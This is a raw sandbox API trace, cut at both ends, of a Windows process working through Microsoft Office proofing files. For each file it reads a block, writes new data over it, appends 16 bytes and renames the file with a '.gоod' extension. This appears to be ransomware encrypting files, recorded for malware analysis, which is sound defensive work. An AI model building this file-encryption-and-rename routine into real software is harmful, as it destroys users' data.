office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0170.004] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4d [0170.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0170.004] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3566248 | out: lpFileInformation=0x3566248*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0952017, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0952017, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0aa952a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a74)) returned 1 [0170.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0170.005] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4d [0170.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0170.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0170.005] GetFileType (hFile=0x80c) returned 0x1 [0170.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0170.005] GetFileType (hFile=0x80c) returned 0x1 [0170.005] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0170.006] ReadFile (in: hFile=0x80c, lpBuffer=0x35666d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x35666d0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0170.009] CloseHandle (hObject=0x80c) returned 1 [0170.009] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4d [0170.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0170.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0170.009] GetFileType (hFile=0x80c) returned 0x1 [0170.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0170.009] GetFileType (hFile=0x80c) returned 0x1 [0170.009] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x4a74 [0170.009] WriteFile (in: hFile=0x80c, lpBuffer=0x3567bd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3567bd0*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0171.173] CloseHandle (hObject=0x80c) returned 1 [0171.355] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4d [0171.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0171.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0171.742] GetFileType (hFile=0x640) returned 0x1 [0171.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0171.742] GetFileType (hFile=0x640) returned 0x1 [0171.742] ReadFile (in: hFile=0x640, lpBuffer=0x3490ec0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3490ec0*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0171.770] CloseHandle (hObject=0x640) returned 1 [0171.770] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4d [0171.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0171.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0171.771] GetFileType (hFile=0x640) returned 0x1 [0171.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0171.771] GetFileType (hFile=0x640) returned 0x1 [0171.771] WriteFile (in: hFile=0x640, lpBuffer=0x33841c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x33841c8*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0171.771] CloseHandle (hObject=0x640) returned 1 [0171.771] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4d [0171.771] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x52 [0171.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0171.771] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0952017, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0952017, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6297d96a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4a84)) returned 1 [0171.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0171.771] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat.gоod")) returned 1 [0171.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0171.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0171.773] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x350d3a0 | out: lpFileInformation=0x350d3a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f6a)) returned 1 [0171.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0171.811] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0171.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0171.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0171.812] GetFileType (hFile=0x640) returned 0x1 [0171.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0171.812] GetFileType (hFile=0x640) returned 0x1 [0171.812] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0171.812] ReadFile (in: hFile=0x640, lpBuffer=0x350d848, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x350d848*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0172.007] CloseHandle (hObject=0x640) returned 1 [0172.007] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0172.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0172.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0172.007] GetFileType (hFile=0x640) returned 0x1 [0172.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0172.007] GetFileType (hFile=0x640) returned 0x1 [0172.007] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x4f6a [0172.007] WriteFile (in: hFile=0x640, lpBuffer=0x340d588*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x340d588*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0172.008] CloseHandle (hObject=0x640) returned 1 [0172.008] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0172.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0172.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0172.008] GetFileType (hFile=0x640) returned 0x1 [0172.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0172.009] GetFileType (hFile=0x640) returned 0x1 [0172.009] ReadFile (in: hFile=0x640, lpBuffer=0x3410b28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3410b28*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0172.048] CloseHandle (hObject=0x640) returned 1 [0172.048] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0172.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0172.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0172.048] GetFileType (hFile=0x640) returned 0x1 [0172.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0172.048] GetFileType (hFile=0x640) returned 0x1 [0172.048] WriteFile (in: hFile=0x640, lpBuffer=0x340e5a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x340e5a0*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0172.048] CloseHandle (hObject=0x640) returned 1 [0172.048] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0172.048] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x57 [0172.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0172.049] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x62c2c3bd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f7a)) returned 1 [0172.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0172.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat.gоod")) returned 1 [0172.050] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat", lpFilePart=0x0) returned 0x4d [0172.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0172.050] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x348cfa8 | out: lpFileInformation=0x348cfa8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0d0baf0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0d0baf0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0f21c2b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5de7)) returned 1 [0172.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0173.152] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat", lpFilePart=0x0) returned 0x4d [0173.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0173.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0173.153] GetFileType (hFile=0x7f8) returned 0x1 [0173.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0173.153] GetFileType (hFile=0x7f8) returned 0x1 [0173.154] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0173.154] ReadFile (in: hFile=0x7f8, lpBuffer=0x3593720, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3593720*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0173.188] CloseHandle (hObject=0x7f8) returned 1 [0173.188] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat", lpFilePart=0x0) returned 0x4d [0173.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0173.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0173.188] GetFileType (hFile=0x7f8) returned 0x1 [0173.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0173.188] GetFileType (hFile=0x7f8) returned 0x1 [0173.188] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x5de7 [0173.188] WriteFile (in: hFile=0x7f8, lpBuffer=0x3612d90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3612d90*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0173.191] CloseHandle (hObject=0x7f8) returned 1 [0173.191] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat", lpFilePart=0x0) returned 0x4d [0173.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0173.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0173.191] GetFileType (hFile=0x7f8) returned 0x1 [0173.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0173.191] GetFileType (hFile=0x7f8) returned 0x1 [0173.191] ReadFile (in: hFile=0x7f8, lpBuffer=0x36153a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x36153a8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0173.219] CloseHandle (hObject=0x7f8) returned 1 [0173.219] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat", lpFilePart=0x0) returned 0x4d [0173.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0173.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0173.219] GetFileType (hFile=0x7f8) returned 0x1 [0173.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0173.219] GetFileType (hFile=0x7f8) returned 0x1 [0173.219] WriteFile (in: hFile=0x7f8, lpBuffer=0x36140c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x36140c8*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0173.219] CloseHandle (hObject=0x7f8) returned 1 [0173.219] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat", lpFilePart=0x0) returned 0x4d [0173.219] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat.gоod", lpFilePart=0x0) returned 0x52 [0173.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0173.219] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0d0baf0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0d0baf0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x637593ac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5df7)) returned 1 [0173.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0173.220] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft 